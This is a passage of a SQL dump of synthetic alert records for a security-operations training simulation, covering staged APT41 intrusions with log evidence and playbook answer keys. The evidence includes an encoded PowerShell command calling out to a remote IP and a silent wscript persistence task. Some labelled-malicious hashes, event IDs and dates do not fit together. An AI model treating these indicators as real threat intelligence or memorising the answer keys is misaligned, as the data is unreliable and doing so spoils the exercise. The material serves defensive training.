day\\\",\\\"hash\\\":\\\"b1a2c3d4e5f67890123456789abcdef012345678\\\",\\\"filename\\\":\\\"script.js\\\",\\\"description\\\":\\\"Scheduled task created by user jdoe under suspicious circumstances. The script executed is known to be associated with APT41 operations.\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.075Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:10Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"user\\\":\\\"jdoe\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\UpdateScheduler\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe //B C:\\\\\\\\ProgramData\\\\\\\\script.js\\\",\\\"task_trigger\\\":\\\"At 01:00AM every day\\\",\\\"hash\\\":\\\"b1a2c3d4e5f67890123456789abcdef012345678\\\",\\\"filename\\\":\\\"script.js\\\",\\\"description\\\":\\\"Scheduled task created by user jdoe under suspicious circumstances. The script executed is known to be associated with APT41 operations.\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.075Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:10Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"user\\\":\\\"jdoe\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\UpdateScheduler\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe //B C:\\\\\\\\ProgramData\\\\\\\\script.js\\\",\\\"task_trigger\\\":\\\"At 01:00AM every day\\\",\\\"hash\\\":\\\"b1a2c3d4e5f67890123456789abcdef012345678\\\",\\\"filename\\\":\\\"script.js\\\",\\\"description\\\":\\\"Scheduled task created by user jdoe under suspicious circumstances. The script executed is known to be associated with APT41 operations.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1495, 'Unauthorized Access to Patient Records', 'high', 'Database Activity Monitoring', 'An unauthorized attempt was detected where a user pivoted through the network to access databases containing sensitive health insurance details.', 'Lateral Movement', 'T1078.003 - Valid Accounts: Local Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-17T14:45:32Z\",\"event_id\":\"db_access_12456\",\"database\":\"HealthDB\",\"user\":\"jdoe\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"10.0.0.45\",\"query\":\"SELECT * FROM insurance_records\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"malicious_tool.exe\",\"external_attacker_ip\":\"203.0.113.5\",\"action\":\"read\",\"success\":true}', '2026-03-15 19:08:03', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address used in lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT41 activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_tool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"malicious\",\"details\":\"File used in unauthorized access attempt.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"suspicious\",\"details\":\"User involved in suspicious database access.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.089Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-17T14:45:32Z\\\",\\\"event_id\\\":\\\"db_access_12456\\\",\\\"database\\\":\\\"HealthDB\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"query\\\":\\\"SELECT * FROM insurance_records\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_tool.exe\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.5\\\",\\\"action\\\":\\\"read\\\",\\\"success\\\":true}\"},{\"timestamp\":\"2026-03-15T20:57:15.089Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-17T14:45:32Z\\\",\\\"event_id\\\":\\\"db_access_12456\\\",\\\"database\\\":\\\"HealthDB\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"query\\\":\\\"SELECT * FROM insurance_records\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_tool.exe\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.5\\\",\\\"action\\\":\\\"read\\\",\\\"success\\\":true}\"},{\"timestamp\":\"2026-03-15T20:56:15.089Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-17T14:45:32Z\\\",\\\"event_id\\\":\\\"db_access_12456\\\",\\\"database\\\":\\\"HealthDB\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"query\\\":\\\"SELECT * FROM insurance_records\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_tool.exe\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.5\\\",\\\"action\\\":\\\"read\\\",\\\"success\\\":true}\"},{\"timestamp\":\"2026-03-15T20:55:15.089Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-17T14:45:32Z\\\",\\\"event_id\\\":\\\"db_access_12456\\\",\\\"database\\\":\\\"HealthDB\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"query\\\":\\\"SELECT * FROM insurance_records\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_tool.exe\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.5\\\",\\\"action\\\":\\\"read\\\",\\\"success\\\":true}\"},{\"timestamp\":\"2026-03-15T20:54:15.089Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-17T14:45:32Z\\\",\\\"event_id\\\":\\\"db_access_12456\\\",\\\"database\\\":\\\"HealthDB\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"query\\\":\\\"SELECT * FROM insurance_records\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_tool.exe\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.5\\\",\\\"action\\\":\\\"read\\\",\\\"success\\\":true}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1496, 'Data Exfiltration Alert', 'critical', 'Data Loss Prevention (DLP)', 'APT41 has initiated the transfer of sensitive patient data including health insurance information to an external server, completing their mission of data theft.', 'Exfiltration', 'T1020: Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T14:22:35Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"10.0.2.15\",\"destination_ip\":\"203.0.113.52\",\"protocol\":\"HTTPS\",\"file_exfiltrated\":\"patient_records_2023.zip\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"user\":\"jdoe\",\"exfiltration_tool\":\"CCleanerSupplyChain_v2.exe\",\"alert_trigger\":\"DLP_Sensitive_Data_Transfer\"}', '2026-03-15 19:08:03', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.52\",\"is_critical\":true,\"osint_result\":{\"source\":\"public_osint_database\",\"verdict\":\"malicious\",\"details\":\"Associated with known APT41 exfiltration activity\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with CCleaner Supply Chain malware\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"patient_records_2023.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"detection_system\",\"verdict\":\"suspicious\",\"details\":\"Contains sensitive patient data\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user, credentials might be compromised\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.103Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:22:35Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.52\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_exfiltrated\\\":\\\"patient_records_2023.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltration_tool\\\":\\\"CCleanerSupplyChain_v2.exe\\\",\\\"alert_trigger\\\":\\\"DLP_Sensitive_Data_Transfer\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.103Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:22:35Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.52\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_exfiltrated\\\":\\\"patient_records_2023.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltration_tool\\\":\\\"CCleanerSupplyChain_v2.exe\\\",\\\"alert_trigger\\\":\\\"DLP_Sensitive_Data_Transfer\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.103Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:22:35Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.52\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_exfiltrated\\\":\\\"patient_records_2023.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltration_tool\\\":\\\"CCleanerSupplyChain_v2.exe\\\",\\\"alert_trigger\\\":\\\"DLP_Sensitive_Data_Transfer\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.103Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:22:35Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.52\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_exfiltrated\\\":\\\"patient_records_2023.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltration_tool\\\":\\\"CCleanerSupplyChain_v2.exe\\\",\\\"alert_trigger\\\":\\\"DLP_Sensitive_Data_Transfer\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.103Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:22:35Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.52\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_exfiltrated\\\":\\\"patient_records_2023.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltration_tool\\\":\\\"CCleanerSupplyChain_v2.exe\\\",\\\"alert_trigger\\\":\\\"DLP_Sensitive_Data_Transfer\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1497, 'Suspicious Network Activity Detected', 'high', 'Network Traffic Analysis', 'Unusual outbound connections from ASUS servers have been flagged, indicating potential compromise. APT41 might be attempting to infiltrate the ASUS update server to distribute malicious payloads.', 'Initial Access', 'T1195 - Supply Chain Compromise', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:35Z\",\"source_ip\":\"192.168.1.15\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":\"443\",\"protocol\":\"HTTPS\",\"url\":\"https://update.asus.com/firmware\",\"filename\":\"ASUS_update_v1.0.exe\",\"md5_hash\":\"3b2a9f2e9b8c1c6d9e4f2b7a2b5a4d1f\",\"user_agent\":\"ASUSUpdate/2.0\",\"user_account\":\"asus_admin\",\"event_type\":\"network_connection\",\"description\":\"An ASUS server at 192.168.1.15 is making unusual outbound connections to IP 203.0.113.45 using protocol HTTPS.\"}', '2026-03-15 19:08:36', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of ASUS server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT41 activities.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"https://update.asus.com/firmware\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"suspicious\",\"details\":\"Potentially compromised ASUS update server.\"}},{\"id\":\"artifact_4\",\"type\":\"md5_hash\",\"value\":\"3b2a9f2e9b8c1c6d9e4f2b7a2b5a4d1f\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known malicious payload used by APT41.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1498, 'Malicious Code Execution Identified', 'high', 'Endpoint Detection and Response (EDR)', 'An update package from ASUS software updates was found to contain malicious code. This code executes upon installation, deploying a backdoor that allows further exploitation of the system.', 'Execution', 'T1203 - Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-09-25T14:32:49Z\",\"event_id\":\"EDR-456789\",\"event_type\":\"code_execution\",\"source_ip\":\"203.0.113.15\",\"internal_ip\":\"192.168.1.10\",\"user\":\"jdoe\",\"process_name\":\"ASUSUpdater.exe\",\"file_name\":\"ASUSUpdate_v3.14.exe\",\"file_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"detected_behavior\":\"Supply Chain Attack\",\"threat_actor\":\"APT41\",\"associated_tactics\":[\"Supply Chain Attacks\",\"Espionage\"],\"malicious_code\":true}', '2026-03-15 19:08:36', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"Known IP address associated with APT41 operations\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalNetwork\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as containing malicious code associated with APT41\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ASUSUpdate_v3.14.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareBazaar\",\"verdict\":\"malicious\",\"details\":\"Executable file used to execute APT41 malicious payload\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1499, 'Persistence Mechanisms Discovered', 'high', 'System Logs', 'The attackers have embedded persistence mechanisms within the affected systems, allowing for ongoing access.', 'Persistence', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T08:45:12Z\",\"event_id\":\"4624\",\"source_ip\":\"185.199.108.153\",\"internal_ip\":\"192.168.1.45\",\"username\":\"compromised_user\",\"filename\":\"taskhostw.exe\",\"hash\":\"3f5c3a6b2f9e4c5d9c3f8b7e6b8d5e4c\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"action\":\"Registry value added\"}', '2026-03-15 19:08:36', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.199.108.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT41 activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"suspicious\",\"details\":\"User involved in unauthorized access\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"taskhostw.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malware associated with persistence mechanisms\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"3f5c3a6b2f9e4c5d9c3f8b7e6b8d5e4c\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Hash related to APT41 malware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.138Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T08:45:12Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"185.199.108.153\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"filename\\\":\\\"taskhostw.exe\\\",\\\"hash\\\":\\\"3f5c3a6b2f9e4c5d9c3f8b7e6b8d5e4c\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"action\\\":\\\"Registry value added\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.138Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T08:45:12Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"185.199.108.153\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"filename\\\":\\\"taskhostw.exe\\\",\\\"hash\\\":\\\"3f5c3a6b2f9e4c5d9c3f8b7e6b8d5e4c\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"action\\\":\\\"Registry value added\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.138Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T08:45:12Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"185.199.108.153\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"filename\\\":\\\"taskhostw.exe\\\",\\\"hash\\\":\\\"3f5c3a6b2f9e4c5d9c3f8b7e6b8d5e4c\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"action\\\":\\\"Registry value added\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.138Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T08:45:12Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"185.199.108.153\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"filename\\\":\\\"taskhostw.exe\\\",\\\"hash\\\":\\\"3f5c3a6b2f9e4c5d9c3f8b7e6b8d5e4c\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"action\\\":\\\"Registry value added\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.138Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T08:45:12Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"185.199.108.153\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"filename\\\":\\\"taskhostw.exe\\\",\\\"hash\\\":\\\"3f5c3a6b2f9e4c5d9c3f8b7e6b8d5e4c\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"action\\\":\\\"Registry value added\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
